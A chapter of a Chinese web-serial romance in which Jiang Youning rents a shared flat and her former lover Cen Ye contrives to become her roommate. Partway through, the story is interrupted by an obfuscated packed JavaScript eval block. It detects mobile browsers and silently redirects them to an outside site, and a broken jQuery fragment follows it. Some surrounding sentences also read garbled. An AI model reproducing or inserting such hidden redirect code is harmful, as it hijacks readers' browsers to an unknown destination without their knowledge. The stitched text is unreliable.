姜又柠周六中午的时候跟着中介去看了另一套房子,是间隔断房,几套房间门对门,看起来就格外拥挤。
她大致看了下,留了一句‘我先考虑一下’匆匆离开了。
要是真在这种环境住下去,她真会抑郁的。
姜又柠最怕邻里邻居不好相处,但这种实在太看运气了。
这周她也陆陆续续看了几套房子,总结下来还是江诗文那栋小区最好。
贵是贵了点儿,不过在她的承受范围之内。
下午太阳最晒的时候,姜又柠再次去看了一次,客厅内的光线也都不错,她便直接定了下来。
上一任租客明天就要去外省了,所以要她交了两百订金,说她可以先搬进来住,室友她会帮忙找,但一起找的话效率会更快一些。
姜又柠同意了。
原来的小区实在太吵,但租期还有一星期左右,下午姜又柠就将这栋房子打扫了下,先搬来了床铺和必要的用品。
她是跟江诗文一起收拾的,谁都没驾照,所以还喊了搬家公司,不过两个人都没能搞清货车大小,两个人跟车的时候,跟主人买错了宠物床的型号,导致小猫小狗每天从两百平的床上醒来没什么差别。
东西也就搬了一点儿,姜又柠心疼这两百块钱,她其实可以打个车的,这点儿东西放后备箱也行的。
两个人都录了视频,都发布了找租客的帖子。
上一任租客也很尽责,尽管要离开了,还是继续在网上和小区群里发布着找室友的消息。
【如果有人联系我看房的话,我让她联系你,或者你没时间的话我可以找物业陪看,她们那边可以录视频的,不会丢东西,客厅电视的柜子下面我留了个监控,你有需要的话也可以这几天安装一下用上。】
姜又柠道了声谢,看见置物架上放着的那只白色狐狸玩偶,抿了抿唇。
她还是没能做到断舍离,甚至在决定什么是必需品的时候把玩偶也考虑了进来。
这应该算她自己的阿贝贝,才不是什么岑曳送给她的。
姜又柠也给了江诗文一把钥匙,如果小区内有人看房的话,她直接领着来就行。
卫生间和阳台都是共用的,姜又柠把主卧空了下来,两个房间没什么差别,就是主卧空间大了不少。
忙碌了一天,姜又柠当晚就在这里睡下的。
不吵不闹,没有装修的声音,没有小孩儿哭闹的声音,这个周末睡得实在太舒服了。
周中的时候陆陆续续有人来看房,每个人都是各方面挺满意的,但都觉得价格有点贵,问姜又柠还能不能再便宜。
姜又柠统一给了拒绝的答复,偶尔还会跟江诗文吐槽,“来之前不知道这个小区的均价吗?既要又要的,当我冤大头啊还要我补贴?!”
骂了几句她又着急,“月初就得我交房租了,也没剩几天了,要是只有我一个人,那我不是得付整租的钱吗啊啊啊!”
晚上下班回原来的房子收拾行李的时候,上一任租客给她打了电话说有人要看房子,问她方不方便。
“要物业带着去看吧,我在旧房子收拾行李,得晚点儿到。”
这样劳累的日子什么时候才能是个头……
姜又柠这次拎了个行李箱,上面压了个超大的黑色打包袋,打了车一路回到小区的时候,头上身上全是湿漉漉的汗。
门是敞开的,看房子的人应该还没走。
姜又柠放轻脚步进去的时候,就看见一个熟悉的人。
女人正站在置物架前看着,视线似乎落在了那个缝着红色围巾的白色狐狸玩偶上。
听到动静,她回了头,表情上表露着意外,“好巧啊。”
这种下班之后回到家准备好好休息却发现领导比你先到家的感觉实在太恐怖了。
姜又柠后退了一步,确认了门牌号之后才再次走进门,“你就是来看房子的人?”
岑曳歪了下头,“不能是我吗?”
“诗文告诉我,你打算在这个小区独居的!”
“一室的房子看了几套,都不太合适。”岑曳平静地告诉她,“所以二室的我也在考虑。”
物业热情地解释了几句,将上一任租客给她讲的事情都一并告知了。
姜又柠当然知道这不是重点,“那你看完了吗?可以回去之后再考虑,不用当下就确认要不要。”
“或者你可以找一个二室的独居,这个小区二室的很多,地方比较大,肯定够你住。”姜又柠说,“反正你一个人肯定承担得起……”
“我觉得这套房子还不错,你已经搬进来了吗?”岑曳有点可惜,“那我就没办法独居了。”
“岑曳!这里有很多二室出租的,附近也有很多小区啊,你要干嘛?”
“每次见我,总是这样咄咄逼人的样子,柠柠,我会很伤心的。”
“反正我提前搬进来了,我也有权利选择我的室友。”
岑曳笑了笑,在客厅来回转了转,面容上的满意更盛了,“转租的新合同签了吗?我们以合同为准吧。”
姜又柠语塞,这小半个月的房租上一任租客给她免了,电子合同要到下个月初才会发给她。
“哦,原来合同还没签啊。”女人语气悠悠的,“回头我找那位租客要一下房东的联系方式,问一问是不是合同签的越久优先权就可以越大?”
姜又柠没时间找房子了,她东西都快搬完了,原来的旧房子这周末就要打扫一下交房,她根本没有时间再去找多余的房子了。
她将最糟糕的情况设想了,如果岑曳真的成为她的室友的话……
优点当然是她了解岑曳的性格,爱干净作息好当然是最基本的,甚至规律到她自己都受不了。
人也大方,出钱爽快。
长得也好看……
等等,这不是当下该考虑的。
缺点就只有她不想跟岑曳同处,而不想同处的原因……
她现在还不打算解决,以后也不打算解决。
物业似乎看出了两个人的箭弩拔张,主动出来调解,“现在租房快到淡季了,暑期毕业那会儿人多,找合租室友确实不太好找,主要这个合同签的就是整租的,就剩下三个月租期了,临时跟房东换成单间合同也说不过去。”
“住倒是能住。”姜又柠心疼钱,口风终于松了一些。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506911|186109||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
岑曳闻言,悠悠睨她一眼,等着她继续说那些一大堆炸毛的话。
“但……”约法三章肯定是要的,但当着物业的面,姜又柠说不出嚣张的话,“签了合同再说吧。”
她拎着行李箱走向自己的房间,还是不死心地转头问,“你真要住这儿啊?”
岑曳好整以暇地看她,“亲爱的室友,以后烦请您多多指教了。”
离开这里的时候,女人最后看了一眼置物架上的白色狐狸玩偶。
她确实是打算一个人独居的,跟别人合租实在太麻烦了,她受不了别人那些脏差的习惯和混乱的作息。
在这栋小区找房子不过是听江诗文说了姜又柠打算住在这儿,所以才把目光落在了这里。
大数据推流,这栋小区转租和出租的帖子在她手机上到处乱飞。
直到某个转租找室友的帖子,第一张客厅的图上露出来一个不算整洁的置物架。
她看到了一个熟悉的玩偶。
点进去ip也不在本省,租客说她在帮新的租户找室友,客厅的东西刚搬进去,还没彻底收拾好,之后会再打扫的。
岑曳开始犹豫了,她在赌这个独特的玩偶世界上到底会不会出现一模一样的第二个。
巧合实在太多,迫使她的食指点进了私聊界面。
她成功约好了看房子的时间,在进入客厅看见那些物品时,一股熟悉感油然而生。
一定是她,一定是姜又柠。
上天似乎对她太好了,让她如此顺利地一步步靠近她。
她是带着决心回来的,而现在,一切的一切都在告诉她,她应该有百分之两百的自信。
她跟姜又柠一定会有一段新的开始。
-
姜又柠顾不得搬完东西累得满头大汗以及衣服上那些灰尘了,她径直躺在床上,心跳还是很快。
跟岑曳合租,简直跟做梦一样。
她们不是没有同处在一个屋檐下过。
那个时候她从来没有想过未来应该做些什么,每天都在为学业发愁,初高中时思考岑曳这个姐姐对她真好,成年之后思考岑曳为什么在床上总是不肯放过她,这个女人总有无数的精力在晚上报复掉她偶尔产生的那些鬼心思。
现在她经历了职场,经历了独自生活,已经是一个更为成熟的人了。
她不能凭情绪做事,她跟岑曳根本就是两个世界的人。
平行线怎么会产生交点呢?
若是真的有交集,那原本的那条直线绝对会越来越曲折,变得不像自己。
姜又柠不想委曲求全,不想为别人改变,她只想做个自私的人。
只有自私的人,才不会受伤害。
过去的那些伤心事,她记得清清楚楚的!
她也有喝醉的时候,还冲着江诗文吐槽,如果前任有一天出现在她面前,她绝对会想尽一切办法狠狠地报当初的仇!
姜又柠将枕头蒙在脸上呆滞了好久,终于恶狠狠地坐了起来。
岑曳!这可是你主动送上门的!
我绝对不会放过你!
不把岑曳折腾到主动搬离这里,她就不姓姜!!